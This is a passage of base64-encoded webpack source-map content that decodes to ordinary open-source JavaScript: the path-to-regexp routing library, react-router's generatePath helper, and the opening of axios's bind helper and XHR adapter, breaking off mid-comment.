dGggPSAnJ1xuICAgIH1cblxuICAgIHZhciBwYXJ0aWFsID0gcHJlZml4ICE9IG51bGwgJiYgbmV4dCAhPSBudWxsICYmIG5leHQgIT09IHByZWZpeFxuICAgIHZhciByZXBlYXQgPSBtb2RpZmllciA9PT0gJysnIHx8IG1vZGlmaWVyID09PSAnKidcbiAgICB2YXIgb3B0aW9uYWwgPSBtb2RpZmllciA9PT0gJz8nIHx8IG1vZGlmaWVyID09PSAnKidcbiAgICB2YXIgZGVsaW1pdGVyID0gcmVzWzJdIHx8IGRlZmF1bHREZWxpbWl0ZXJcbiAgICB2YXIgcGF0dGVybiA9IGNhcHR1cmUgfHwgZ3JvdXBcblxuICAgIHRva2Vucy5wdXNoKHtcbiAgICAgIG5hbWU6IG5hbWUgfHwga2V5KyssXG4gICAgICBwcmVmaXg6IHByZWZpeCB8fCAnJyxcbiAgICAgIGRlbGltaXRlcjogZGVsaW1pdGVyLFxuICAgICAgb3B0aW9uYWw6IG9wdGlvbmFsLFxuICAgICAgcmVwZWF0OiByZXBlYXQsXG4gICAgICBwYXJ0aWFsOiBwYXJ0aWFsLFxuICAgICAgYXN0ZXJpc2s6ICEhYXN0ZXJpc2ssXG4gICAgICBwYXR0ZXJuOiBwYXR0ZXJuID8gZXNjYXBlR3JvdXAocGF0dGVybikgOiAoYXN0ZXJpc2sgPyAnLionIDogJ1teJyArIGVzY2FwZVN0cmluZyhkZWxpbWl0ZXIpICsgJ10rPycpXG4gICAgfSlcbiAgfVxuXG4gIC8vIE1hdGNoIGFueSBjaGFyYWN0ZXJzIHN0aWxsIHJlbWFpbmluZy5cbiAgaWYgKGluZGV4IDwgc3RyLmxlbmd0aCkge1xuICAgIHBhdGggKz0gc3RyLnN1YnN0cihpbmRleClcbiAgfVxuXG4gIC8vIElmIHRoZSBwYXRoIGV4aXN0cywgcHVzaCBpdCBvbnRvIHRoZSBlbmQuXG4gIGlmIChwYXRoKSB7XG4gICAgdG9rZW5zLnB1c2gocGF0aClcbiAgfVxuXG4gIHJldHVybiB0b2tlbnNcbn1cblxuLyoqXG4gKiBDb21waWxlIGEgc3RyaW5nIHRvIGEgdGVtcGxhdGUgZnVuY3Rpb24gZm9yIHRoZSBwYXRoLlxuICpcbiAqIEBwYXJhbSAge3N0cmluZ30gICAgICAgICAgICAgc3RyXG4gKiBAcGFyYW0gIHtPYmplY3Q9fSAgICAgICAgICAgIG9wdGlvbnNcbiAqIEByZXR1cm4geyFmdW5jdGlvbihPYmplY3Q9LCBPYmplY3Q9KX1cbiAqL1xuZnVuY3Rpb24gY29tcGlsZSAoc3RyLCBvcHRpb25zKSB7XG4gIHJldHVybiB0b2tlbnNUb0Z1bmN0aW9uKHBhcnNlKHN0ciwgb3B0aW9ucykpXG59XG5cbi8qKlxuICogUHJldHRpZXIgZW5jb2Rpbmcgb2YgVVJJIHBhdGggc2VnbWVudHMuXG4gKlxuICogQHBhcmFtICB7c3RyaW5nfVxuICogQHJldHVybiB7c3RyaW5nfVxuICovXG5mdW5jdGlvbiBlbmNvZGVVUklDb21wb25lbnRQcmV0dHkgKHN0cikge1xuICByZXR1cm4gZW5jb2RlVVJJKHN0cikucmVwbGFjZSgvW1xcLz8jXS9nLCBmdW5jdGlvbiAoYykge1xuICAgIHJldHVybiAnJScgKyBjLmNoYXJDb2RlQXQoMCkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKClcbiAgfSlcbn1cblxuLyoqXG4gKiBFbmNvZGUgdGhlIGFzdGVyaXNrIHBhcmFtZXRlci4gU2ltaWxhciB0byBgcHJldHR5YCwgYnV0IGFsbG93cyBzbGFzaGVzLlxuICpcbiAqIEBwYXJhbSAge3N0cmluZ31cbiAqIEByZXR1cm4ge3N0cmluZ31cbiAqL1xuZnVuY3Rpb24gZW5jb2RlQXN0ZXJpc2sgKHN0cikge1xuICByZXR1cm4gZW5jb2RlVVJJKHN0cikucmVwbGFjZSgvWz8jXS9nLCBmdW5jdGlvbiAoYykge1xuICAgIHJldHVybiAnJScgKyBjLmNoYXJDb2RlQXQoMCkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKClcbiAgfSlcbn1cblxuLyoqXG4gKiBFeHBvc2UgYSBtZXRob2QgZm9yIHRyYW5zZm9ybWluZyB0b2tlbnMgaW50byB0aGUgcGF0aCBmdW5jdGlvbi5cbiAqL1xuZnVuY3Rpb24gdG9rZW5zVG9GdW5jdGlvbiAodG9rZW5zKSB7XG4gIC8vIENvbXBpbGUgYWxsIHRoZSB0b2tlbnMgaW50byByZWdleHBzLlxuICB2YXIgbWF0Y2hlcyA9IG5ldyBBcnJheSh0b2tlbnMubGVuZ3RoKVxuXG4gIC8vIENvbXBpbGUgYWxsIHRoZSBwYXR0ZXJucyBiZWZvcmUgY29tcGlsYXRpb24uXG4gIGZvciAodmFyIGkgPSAwOyBpIDwgdG9rZW5zLmxlbmd0aDsgaSsrKSB7XG4gICAgaWYgKHR5cGVvZiB0b2tlbnNbaV0gPT09ICdvYmplY3QnKSB7XG4gICAgICBtYXRjaGVzW2ldID0gbmV3IFJlZ0V4cCgnXig/OicgKyB0b2tlbnNbaV0ucGF0dGVybiArICcpJCcpXG4gICAgfVxuICB9XG5cbiAgcmV0dXJuIGZ1bmN0aW9uIChvYmosIG9wdHMpIHtcbiAgICB2YXIgcGF0aCA9ICcnXG4gICAgdmFyIGRhdGEgPSBvYmogfHwge31cbiAgICB2YXIgb3B0aW9ucyA9IG9wdHMgfHwge31cbiAgICB2YXIgZW5jb2RlID0gb3B0aW9ucy5wcmV0dHkgPyBlbmNvZGVVUklDb21wb25lbnRQcmV0dHkgOiBlbmNvZGVVUklDb21wb25lbnRcblxuICAgIGZvciAodmFyIGkgPSAwOyBpIDwgdG9rZW5zLmxlbmd0aDsgaSsrKSB7XG4gICAgICB2YXIgdG9rZW4gPSB0b2tlbnNbaV1cblxuICAgICAgaWYgKHR5cGVvZiB0b2tlbiA9PT0gJ3N0cmluZycpIHtcbiAgICAgICAgcGF0aCArPSB0b2tlblxuXG4gICAgICAgIGNvbnRpbnVlXG4gICAgICB9XG5cbiAgICAgIHZhciB2YWx1ZSA9IGRhdGFbdG9rZW4ubmFtZV1cbiAgICAgIHZhciBzZWdtZW50XG5cbiAgICAgIGlmICh2YWx1ZSA9PSBudWxsKSB7XG4gICAgICAgIGlmICh0b2tlbi5vcHRpb25hbCkge1xuICAgICAgICAgIC8vIFByZXBlbmQgcGFydGlhbCBzZWdtZW50IHByZWZpeGVzLlxuICAgICAgICAgIGlmICh0b2tlbi5wYXJ0aWFsKSB7XG4gICAgICAgICAgICBwYXRoICs9IHRva2VuLnByZWZpeFxuICAgICAgICAgIH1cblxuICAgICAgICAgIGNvbnRpbnVlXG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignRXhwZWN0ZWQgXCInICsgdG9rZW4ubmFtZSArICdcIiB0byBiZSBkZWZpbmVkJylcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICBpZiAoaXNhcnJheSh2YWx1ZSkpIHtcbiAgICAgICAgaWYgKCF0b2tlbi5yZXBlYXQpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdFeHBlY3RlZCBcIicgKyB0b2tlbi5uYW1lICsgJ1wiIHRvIG5vdCByZXBlYXQsIGJ1dCByZWNlaXZlZCBgJyArIEpTT04uc3RyaW5naWZ5KHZhbHVlKSArICdgJylcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICh2YWx1ZS5sZW5ndGggPT09IDApIHtcbiAgICAgICAgICBpZiAodG9rZW4ub3B0aW9uYWwpIHtcbiAgICAgICAgICAgIGNvbnRpbnVlXG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0V4cGVjdGVkIFwiJyArIHRva2VuLm5hbWUgKyAnXCIgdG8gbm90IGJlIGVtcHR5JylcbiAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBmb3IgKHZhciBqID0gMDsgaiA8IHZhbHVlLmxlbmd0aDsgaisrKSB7XG4gICAgICAgICAgc2VnbWVudCA9IGVuY29kZSh2YWx1ZVtqXSlcblxuICAgICAgICAgIGlmICghbWF0Y2hlc1tpXS50ZXN0KHNlZ21lbnQpKSB7XG4gICAgICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdFeHBlY3RlZCBhbGwgXCInICsgdG9rZW4ubmFtZSArICdcIiB0byBtYXRjaCBcIicgKyB0b2tlbi5wYXR0ZXJuICsgJ1wiLCBidXQgcmVjZWl2ZWQgYCcgKyBKU09OLnN0cmluZ2lmeShzZWdtZW50KSArICdgJylcbiAgICAgICAgICB9XG5cbiAgICAgICAgICBwYXRoICs9IChqID09PSAwID8gdG9rZW4ucHJlZml4IDogdG9rZW4uZGVsaW1pdGVyKSArIHNlZ21lbnRcbiAgICAgICAgfVxuXG4gICAgICAgIGNvbnRpbnVlXG4gICAgICB9XG5cbiAgICAgIHNlZ21lbnQgPSB0b2tlbi5hc3RlcmlzayA/IGVuY29kZUFzdGVyaXNrKHZhbHVlKSA6IGVuY29kZSh2YWx1ZSlcblxuICAgICAgaWYgKCFtYXRjaGVzW2ldLnRlc3Qoc2VnbWVudCkpIHtcbiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignRXhwZWN0ZWQgXCInICsgdG9rZW4ubmFtZSArICdcIiB0byBtYXRjaCBcIicgKyB0b2tlbi5wYXR0ZXJuICsgJ1wiLCBidXQgcmVjZWl2ZWQgXCInICsgc2VnbWVudCArICdcIicpXG4gICAgICB9XG5cbiAgICAgIHBhdGggKz0gdG9rZW4ucHJlZml4ICsgc2VnbWVudFxuICAgIH1cblxuICAgIHJldHVybiBwYXRoXG4gIH1cbn1cblxuLyoqXG4gKiBFc2NhcGUgYSByZWd1bGFyIGV4cHJlc3Npb24gc3RyaW5nLlxuICpcbiAqIEBwYXJhbSAge3N0cmluZ30gc3RyXG4gKiBAcmV0dXJuIHtzdHJpbmd9XG4gKi9cbmZ1bmN0aW9uIGVzY2FwZVN0cmluZyAoc3RyKSB7XG4gIHJldHVybiBzdHIucmVwbGFjZSgvKFsuKyo/PV4hOiR7fSgpW1xcXXxcXC9cXFxcXSkvZywgJ1xcXFwkMScpXG59XG5cbi8qKlxuICogRXNjYXBlIHRoZSBjYXB0dXJpbmcgZ3JvdXAgYnkgZXNjYXBpbmcgc3BlY2lhbCBjaGFyYWN0ZXJzIGFuZCBtZWFuaW5nLlxuICpcbiAqIEBwYXJhbSAge3N0cmluZ30gZ3JvdXBcbiAqIEByZXR1cm4ge3N0cmluZ31cbiAqL1xuZnVuY3Rpb24gZXNjYXBlR3JvdXAgKGdyb3VwKSB7XG4gIHJldHVybiBncm91cC5yZXBsYWNlKC8oWz0hOiRcXC8oKV0pL2csICdcXFxcJDEnKVxufVxuXG4vKipcbiAqIEF0dGFjaCB0aGUga2V5cyBhcyBhIHByb3BlcnR5IG9mIHRoZSByZWdleHAuXG4gKlxuICogQHBhcmFtICB7IVJlZ0V4cH0gcmVcbiAqIEBwYXJhbSAge0FycmF5fSAgIGtleXNcbiAqIEByZXR1cm4geyFSZWdFeHB9XG4gKi9cbmZ1bmN0aW9uIGF0dGFjaEtleXMgKHJlLCBrZXlzKSB7XG4gIHJlLmtleXMgPSBrZXlzXG4gIHJldHVybiByZVxufVxuXG4vKipcbiAqIEdldCB0aGUgZmxhZ3MgZm9yIGEgcmVnZXhwIGZyb20gdGhlIG9wdGlvbnMuXG4gKlxuICogQHBhcmFtICB7T2JqZWN0fSBvcHRpb25zXG4gKiBAcmV0dXJuIHtzdHJpbmd9XG4gKi9cbmZ1bmN0aW9uIGZsYWdzIChvcHRpb25zKSB7XG4gIHJldHVybiBvcHRpb25zLnNlbnNpdGl2ZSA/ICcnIDogJ2knXG59XG5cbi8qKlxuICogUHVsbCBvdXQga2V5cyBmcm9tIGEgcmVnZXhwLlxuICpcbiAqIEBwYXJhbSAgeyFSZWdFeHB9IHBhdGhcbiAqIEBwYXJhbSAgeyFBcnJheX0gIGtleXNcbiAqIEByZXR1cm4geyFSZWdFeHB9XG4gKi9cbmZ1bmN0aW9uIHJlZ2V4cFRvUmVnZXhwIChwYXRoLCBrZXlzKSB7XG4gIC8vIFVzZSBhIG5lZ2F0aXZlIGxvb2thaGVhZCB0byBtYXRjaCBvbmx5IGNhcHR1cmluZyBncm91cHMuXG4gIHZhciBncm91cHMgPSBwYXRoLnNvdXJjZS5tYXRjaCgvXFwoKD8hXFw/KS9nKVxuXG4gIGlmIChncm91cHMpIHtcbiAgICBmb3IgKHZhciBpID0gMDsgaSA8IGdyb3Vwcy5sZW5ndGg7IGkrKykge1xuICAgICAga2V5cy5wdXNoKHtcbiAgICAgICAgbmFtZTogaSxcbiAgICAgICAgcHJlZml4OiBudWxsLFxuICAgICAgICBkZWxpbWl0ZXI6IG51bGwsXG4gICAgICAgIG9wdGlvbmFsOiBmYWxzZSxcbiAgICAgICAgcmVwZWF0OiBmYWxzZSxcbiAgICAgICAgcGFydGlhbDogZmFsc2UsXG4gICAgICAgIGFzdGVyaXNrOiBmYWxzZSxcbiAgICAgICAgcGF0dGVybjogbnVsbFxuICAgICAgfSlcbiAgICB9XG4gIH1cblxuICByZXR1cm4gYXR0YWNoS2V5cyhwYXRoLCBrZXlzKVxufVxuXG4vKipcbiAqIFRyYW5zZm9ybSBhbiBhcnJheSBpbnRvIGEgcmVnZXhwLlxuICpcbiAqIEBwYXJhbSAgeyFBcnJheX0gIHBhdGhcbiAqIEBwYXJhbSAge0FycmF5fSAgIGtleXNcbiAqIEBwYXJhbSAgeyFPYmplY3R9IG9wdGlvbnNcbiAqIEByZXR1cm4geyFSZWdFeHB9XG4gKi9cbmZ1bmN0aW9uIGFycmF5VG9SZWdleHAgKHBhdGgsIGtleXMsIG9wdGlvbnMpIHtcbiAgdmFyIHBhcnRzID0gW11cblxuICBmb3IgKHZhciBpID0gMDsgaSA8IHBhdGgubGVuZ3RoOyBpKyspIHtcbiAgICBwYXJ0cy5wdXNoKHBhdGhUb1JlZ2V4cChwYXRoW2ldLCBrZXlzLCBvcHRpb25zKS5zb3VyY2UpXG4gIH1cblxuICB2YXIgcmVnZXhwID0gbmV3IFJlZ0V4cCgnKD86JyArIHBhcnRzLmpvaW4oJ3wnKSArICcpJywgZmxhZ3Mob3B0aW9ucykpXG5cbiAgcmV0dXJuIGF0dGFjaEtleXMocmVnZXhwLCBrZXlzKVxufVxuXG4vKipcbiAqIENyZWF0ZSBhIHBhdGggcmVnZXhwIGZyb20gc3RyaW5nIGlucHV0LlxuICpcbiAqIEBwYXJhbSAge3N0cmluZ30gIHBhdGhcbiAqIEBwYXJhbSAgeyFBcnJheX0gIGtleXNcbiAqIEBwYXJhbSAgeyFPYmplY3R9IG9wdGlvbnNcbiAqIEByZXR1cm4geyFSZWdFeHB9XG4gKi9cbmZ1bmN0aW9uIHN0cmluZ1RvUmVnZXhwIChwYXRoLCBrZXlzLCBvcHRpb25zKSB7XG4gIHJldHVybiB0b2tlbnNUb1JlZ0V4cChwYXJzZShwYXRoLCBvcHRpb25zKSwga2V5cywgb3B0aW9ucylcbn1cblxuLyoqXG4gKiBFeHBvc2UgYSBmdW5jdGlvbiBmb3IgdGFraW5nIHRva2VucyBhbmQgcmV0dXJuaW5nIGEgUmVnRXhwLlxuICpcbiAqIEBwYXJhbSAgeyFBcnJheX0gICAgICAgICAgdG9rZW5zXG4gKiBAcGFyYW0gIHsoQXJyYXl8T2JqZWN0KT19IGtleXNcbiAqIEBwYXJhbSAge09iamVjdD19ICAgICAgICAgb3B0aW9uc1xuICogQHJldHVybiB7IVJlZ0V4cH1cbiAqL1xuZnVuY3Rpb24gdG9rZW5zVG9SZWdFeHAgKHRva2Vucywga2V5cywgb3B0aW9ucykge1xuICBpZiAoIWlzYXJyYXkoa2V5cykpIHtcbiAgICBvcHRpb25zID0gLyoqIEB0eXBlIHshT2JqZWN0fSAqLyAoa2V5cyB8fCBvcHRpb25zKVxuICAgIGtleXMgPSBbXVxuICB9XG5cbiAgb3B0aW9ucyA9IG9wdGlvbnMgfHwge31cblxuICB2YXIgc3RyaWN0ID0gb3B0aW9ucy5zdHJpY3RcbiAgdmFyIGVuZCA9IG9wdGlvbnMuZW5kICE9PSBmYWxzZVxuICB2YXIgcm91dGUgPSAnJ1xuXG4gIC8vIEl0ZXJhdGUgb3ZlciB0aGUgdG9rZW5zIGFuZCBjcmVhdGUgb3VyIHJlZ2V4cCBzdHJpbmcuXG4gIGZvciAodmFyIGkgPSAwOyBpIDwgdG9rZW5zLmxlbmd0aDsgaSsrKSB7XG4gICAgdmFyIHRva2VuID0gdG9rZW5zW2ldXG5cbiAgICBpZiAodHlwZW9mIHRva2VuID09PSAnc3RyaW5nJykge1xuICAgICAgcm91dGUgKz0gZXNjYXBlU3RyaW5nKHRva2VuKVxuICAgIH0gZWxzZSB7XG4gICAgICB2YXIgcHJlZml4ID0gZXNjYXBlU3RyaW5nKHRva2VuLnByZWZpeClcbiAgICAgIHZhciBjYXB0dXJlID0gJyg/OicgKyB0b2tlbi5wYXR0ZXJuICsgJyknXG5cbiAgICAgIGtleXMucHVzaCh0b2tlbilcblxuICAgICAgaWYgKHRva2VuLnJlcGVhdCkge1xuICAgICAgICBjYXB0dXJlICs9ICcoPzonICsgcHJlZml4ICsgY2FwdHVyZSArICcpKidcbiAgICAgIH1cblxuICAgICAgaWYgKHRva2VuLm9wdGlvbmFsKSB7XG4gICAgICAgIGlmICghdG9rZW4ucGFydGlhbCkge1xuICAgICAgICAgIGNhcHR1cmUgPSAnKD86JyArIHByZWZpeCArICcoJyArIGNhcHR1cmUgKyAnKSk/J1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIGNhcHR1cmUgPSBwcmVmaXggKyAnKCcgKyBjYXB0dXJlICsgJyk/J1xuICAgICAgICB9XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBjYXB0dXJlID0gcHJlZml4ICsgJygnICsgY2FwdHVyZSArICcpJ1xuICAgICAgfVxuXG4gICAgICByb3V0ZSArPSBjYXB0dXJlXG4gICAgfVxuICB9XG5cbiAgdmFyIGRlbGltaXRlciA9IGVzY2FwZVN0cmluZyhvcHRpb25zLmRlbGltaXRlciB8fCAnLycpXG4gIHZhciBlbmRzV2l0aERlbGltaXRlciA9IHJvdXRlLnNsaWNlKC1kZWxpbWl0ZXIubGVuZ3RoKSA9PT0gZGVsaW1pdGVyXG5cbiAgLy8gSW4gbm9uLXN0cmljdCBtb2RlIHdlIGFsbG93IGEgc2xhc2ggYXQgdGhlIGVuZCBvZiBtYXRjaC4gSWYgdGhlIHBhdGggdG9cbiAgLy8gbWF0Y2ggYWxyZWFkeSBlbmRzIHdpdGggYSBzbGFzaCwgd2UgcmVtb3ZlIGl0IGZvciBjb25zaXN0ZW5jeS4gVGhlIHNsYXNoXG4gIC8vIGlzIHZhbGlkIGF0IHRoZSBlbmQgb2YgYSBwYXRoIG1hdGNoLCBub3QgaW4gdGhlIG1pZGRsZS4gVGhpcyBpcyBpbXBvcnRhbnRcbiAgLy8gaW4gbm9uLWVuZGluZyBtb2RlLCB3aGVyZSBcIi90ZXN0L1wiIHNob3VsZG4ndCBtYXRjaCBcIi90ZXN0Ly9yb3V0ZVwiLlxuICBpZiAoIXN0cmljdCkge1xuICAgIHJvdXRlID0gKGVuZHNXaXRoRGVsaW1pdGVyID8gcm91dGUuc2xpY2UoMCwgLWRlbGltaXRlci5sZW5ndGgpIDogcm91dGUpICsgJyg/OicgKyBkZWxpbWl0ZXIgKyAnKD89JCkpPydcbiAgfVxuXG4gIGlmIChlbmQpIHtcbiAgICByb3V0ZSArPSAnJCdcbiAgfSBlbHNlIHtcbiAgICAvLyBJbiBub24tZW5kaW5nIG1vZGUsIHdlIG5lZWQgdGhlIGNhcHR1cmluZyBncm91cHMgdG8gbWF0Y2ggYXMgbXVjaCBhc1xuICAgIC8vIHBvc3NpYmxlIGJ5IHVzaW5nIGEgcG9zaXRpdmUgbG9va2FoZWFkIHRvIHRoZSBlbmQgb3IgbmV4dCBwYXRoIHNlZ21lbnQuXG4gICAgcm91dGUgKz0gc3RyaWN0ICYmIGVuZHNXaXRoRGVsaW1pdGVyID8gJycgOiAnKD89JyArIGRlbGltaXRlciArICd8JCknXG4gIH1cblxuICByZXR1cm4gYXR0YWNoS2V5cyhuZXcgUmVnRXhwKCdeJyArIHJvdXRlLCBmbGFncyhvcHRpb25zKSksIGtleXMpXG59XG5cbi8qKlxuICogTm9ybWFsaXplIHRoZSBnaXZlbiBwYXRoIHN0cmluZywgcmV0dXJuaW5nIGEgcmVndWxhciBleHByZXNzaW9uLlxuICpcbiAqIEFuIGVtcHR5IGFycmF5IGNhbiBiZSBwYXNzZWQgaW4gZm9yIHRoZSBrZXlzLCB3aGljaCB3aWxsIGhvbGQgdGhlXG4gKiBwbGFjZWhvbGRlciBrZXkgZGVzY3JpcHRpb25zLiBGb3IgZXhhbXBsZSwgdXNpbmcgYC91c2VyLzppZGAsIGBrZXlzYCB3aWxsXG4gKiBjb250YWluIGBbeyBuYW1lOiAnaWQnLCBkZWxpbWl0ZXI6ICcvJywgb3B0aW9uYWw6IGZhbHNlLCByZXBlYXQ6IGZhbHNlIH1dYC5cbiAqXG4gKiBAcGFyYW0gIHsoc3RyaW5nfFJlZ0V4cHxBcnJheSl9IHBhdGhcbiAqIEBwYXJhbSAgeyhBcnJheXxPYmplY3QpPX0gICAgICAga2V5c1xuICogQHBhcmFtICB7T2JqZWN0PX0gICAgICAgICAgICAgICBvcHRpb25zXG4gKiBAcmV0dXJuIHshUmVnRXhwfVxuICovXG5mdW5jdGlvbiBwYXRoVG9SZWdleHAgKHBhdGgsIGtleXMsIG9wdGlvbnMpIHtcbiAgaWYgKCFpc2FycmF5KGtleXMpKSB7XG4gICAgb3B0aW9ucyA9IC8qKiBAdHlwZSB7IU9iamVjdH0gKi8gKGtleXMgfHwgb3B0aW9ucylcbiAgICBrZXlzID0gW11cbiAgfVxuXG4gIG9wdGlvbnMgPSBvcHRpb25zIHx8IHt9XG5cbiAgaWYgKHBhdGggaW5zdGFuY2VvZiBSZWdFeHApIHtcbiAgICByZXR1cm4gcmVnZXhwVG9SZWdleHAocGF0aCwgLyoqIEB0eXBlIHshQXJyYXl9ICovIChrZXlzKSlcbiAgfVxuXG4gIGlmIChpc2FycmF5KHBhdGgpKSB7XG4gICAgcmV0dXJuIGFycmF5VG9SZWdleHAoLyoqIEB0eXBlIHshQXJyYXl9ICovIChwYXRoKSwgLyoqIEB0eXBlIHshQXJyYXl9ICovIChrZXlzKSwgb3B0aW9ucylcbiAgfVxuXG4gIHJldHVybiBzdHJpbmdUb1JlZ2V4cCgvKiogQHR5cGUge3N0cmluZ30gKi8gKHBhdGgpLCAvKiogQHR5cGUgeyFBcnJheX0gKi8gKGtleXMpLCBvcHRpb25zKVxufVxuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcGF0aC10by1yZWdleHAvaW5kZXguanNcbi8vIG1vZHVsZSBpZCA9IDc4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IHBhdGhUb1JlZ2V4cCBmcm9tIFwicGF0aC10by1yZWdleHBcIjtcblxudmFyIHBhdHRlcm5DYWNoZSA9IHt9O1xudmFyIGNhY2hlTGltaXQgPSAxMDAwMDtcbnZhciBjYWNoZUNvdW50ID0gMDtcblxudmFyIGNvbXBpbGVHZW5lcmF0b3IgPSBmdW5jdGlvbiBjb21waWxlR2VuZXJhdG9yKHBhdHRlcm4pIHtcbiAgdmFyIGNhY2hlS2V5ID0gcGF0dGVybjtcbiAgdmFyIGNhY2hlID0gcGF0dGVybkNhY2hlW2NhY2hlS2V5XSB8fCAocGF0dGVybkNhY2hlW2NhY2hlS2V5XSA9IHt9KTtcblxuICBpZiAoY2FjaGVbcGF0dGVybl0pIHJldHVybiBjYWNoZVtwYXR0ZXJuXTtcblxuICB2YXIgY29tcGlsZWRHZW5lcmF0b3IgPSBwYXRoVG9SZWdleHAuY29tcGlsZShwYXR0ZXJuKTtcblxuICBpZiAoY2FjaGVDb3VudCA8IGNhY2hlTGltaXQpIHtcbiAgICBjYWNoZVtwYXR0ZXJuXSA9IGNvbXBpbGVkR2VuZXJhdG9yO1xuICAgIGNhY2hlQ291bnQrKztcbiAgfVxuXG4gIHJldHVybiBjb21waWxlZEdlbmVyYXRvcjtcbn07XG5cbi8qKlxuICogUHVibGljIEFQSSBmb3IgZ2VuZXJhdGluZyBhIFVSTCBwYXRobmFtZSBmcm9tIGEgcGF0dGVybiBhbmQgcGFyYW1ldGVycy5cbiAqL1xudmFyIGdlbmVyYXRlUGF0aCA9IGZ1bmN0aW9uIGdlbmVyYXRlUGF0aCgpIHtcbiAgdmFyIHBhdHRlcm4gPSBhcmd1bWVudHMubGVuZ3RoID4gMCAmJiBhcmd1bWVudHNbMF0gIT09IHVuZGVmaW5lZCA/IGFyZ3VtZW50c1swXSA6IFwiL1wiO1xuICB2YXIgcGFyYW1zID0gYXJndW1lbnRzLmxlbmd0aCA+IDEgJiYgYXJndW1lbnRzWzFdICE9PSB1bmRlZmluZWQgPyBhcmd1bWVudHNbMV0gOiB7fTtcblxuICBpZiAocGF0dGVybiA9PT0gXCIvXCIpIHtcbiAgICByZXR1cm4gcGF0dGVybjtcbiAgfVxuICB2YXIgZ2VuZXJhdG9yID0gY29tcGlsZUdlbmVyYXRvcihwYXR0ZXJuKTtcbiAgcmV0dXJuIGdlbmVyYXRvcihwYXJhbXMsIHsgcHJldHR5OiB0cnVlIH0pO1xufTtcblxuZXhwb3J0IGRlZmF1bHQgZ2VuZXJhdGVQYXRoO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy9nZW5lcmF0ZVBhdGguanNcbi8vIG1vZHVsZSBpZCA9IDc5XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIGJpbmQoZm4sIHRoaXNBcmcpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uIHdyYXAoKSB7XG4gICAgdmFyIGFyZ3MgPSBuZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCk7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7XG4gICAgICBhcmdzW2ldID0gYXJndW1lbnRzW2ldO1xuICAgIH1cbiAgICByZXR1cm4gZm4uYXBwbHkodGhpc0FyZywgYXJncyk7XG4gIH07XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2hlbHBlcnMvYmluZC5qc1xuLy8gbW9kdWxlIGlkID0gODBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4vLi4vdXRpbHMnKTtcbnZhciBzZXR0bGUgPSByZXF1aXJlKCcuLy4uL2NvcmUvc2V0dGxlJyk7XG52YXIgYnVpbGRVUkwgPSByZXF1aXJlKCcuLy4uL2hlbHBlcnMvYnVpbGRVUkwnKTtcbnZhciBwYXJzZUhlYWRlcnMgPSByZXF1aXJlKCcuLy4uL2hlbHBlcnMvcGFyc2VIZWFkZXJzJyk7XG52YXIgaXNVUkxTYW1lT3JpZ2luID0gcmVxdWlyZSgnLi8uLi9oZWxwZXJzL2lzVVJMU2FtZU9yaWdpbicpO1xudmFyIGNyZWF0ZUVycm9yID0gcmVxdWlyZSgnLi4vY29yZS9jcmVhdGVFcnJvcicpO1xudmFyIGJ0b2EgPSAodHlwZW9mIHdpbmRvdyAhPT0gJ3VuZGVmaW5lZCcgJiYgd2luZG93LmJ0b2EgJiYgd2luZG93LmJ0b2EuYmluZCh3aW5kb3cpKSB8fCByZXF1aXJlKCcuLy4uL2hlbHBlcnMvYnRvYScpO1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIHhockFkYXB0ZXIoY29uZmlnKSB7XG4gIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiBkaXNwYXRjaFhoclJlcXVlc3QocmVzb2x2ZSwgcmVqZWN0KSB7XG4gICAgdmFyIHJlcXVlc3REYXRhID0gY29uZmlnLmRhdGE7XG4gICAgdmFyIHJlcXVlc3RIZWFkZXJzID0gY29uZmlnLmhlYWRlcnM7XG5cbiAgICBpZiAodXRpbHMuaXNGb3JtRGF0YShyZXF1ZXN0RGF0YSkpIHtcbiAgICAgIGRlbGV0ZSByZXF1ZXN0SGVhZGVyc1snQ29udGVudC1UeXBlJ107IC8vIExldCB0aGUgYnJvd3NlciBzZXQgaXRcbiAgICB9XG5cbiAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO1xuICAgIHZhciBsb2FkRXZlbnQgPSAnb25yZWFkeXN0YXRlY2hhbmdlJztcbiAgICB2YXIgeERvbWFpbiA9IGZhbHNlO1xuXG4gICAgLy8gRm9yIElFIDgvOSBDT1JTIHN1cHBvcnRcbiAgICAvLyBPbmx5IHN1cHBvcnRzIFBPU1QgYW5kIEdFVC